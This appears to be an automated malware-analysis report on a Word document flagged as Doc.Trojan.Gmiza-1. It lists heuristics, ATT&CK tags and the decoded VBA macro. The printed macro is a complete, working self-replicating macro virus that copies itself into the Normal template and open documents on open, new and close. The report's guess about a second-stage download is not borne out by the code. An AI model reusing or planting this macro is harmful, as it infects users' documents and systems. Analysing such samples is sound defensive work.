MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros, specifically a Document_Open macro, which is a critical heuristic firing. The script attempts to export a file named 'C:\Syswin32.drv' and then add its content to the Normal template and the active document's VBA project. This behavior strongly suggests an attempt to establish persistence or download and execute a second-stage payload. The ClamAV detection as 'Doc.Trojan.Gmiza-1' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Gmiza-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Gmiza-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1995 bytes |
SHA-256: fd9ec48a8ee256171b15d7e6188751eae5dc24f502e1454c0e8e8717132c5d2d |
|||
|
Detection
ClamAV:
Doc.Trojan.Gmiza-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New(): Document_Open: End Sub
Private Sub Document_Close(): Document_Open: End Sub
Private Sub Document_Open(): Dim a, b, c: x = x + 1
ThisDocument.VBProject.vbcomponents(x).Export ("C:\Syswin32.drv")
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
With NormalTemplate.VBProject.vbcomponents(x).codemodule
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
With ActiveDocument.VBProject.vbcomponents(x).codemodule
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
With NormalTemplate.VBProject.vbcomponents(x).codemodule
.DeleteLines x, .CountOfLines
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
With ActiveDocument.VBProject.vbcomponents(x).codemodule
.DeleteLines x, .CountOfLines
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
With Application
.Assistant.TipOfDay = True
.Assistant.Animation = msoAnimationBeginSpeaking
.Assistant.AssistWithAlerts = False
.Assistant.Sounds = True
.Selection.TypeText "Covjek je gospodar svoje rijeci, ali kad ta rijec izadje iz njega on postaje njen rob!"
End With
With ActiveDocument
.Words(x).Underline = wdUnderlineDottedHeavy
For u = x To 7
.Shapes.AddLine 7, 7, 7, 7
Next u
End With
'WM.Gmizavac by e[ax] / Species VL
'Authorized distribution for Bosnia and Herzegovina
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.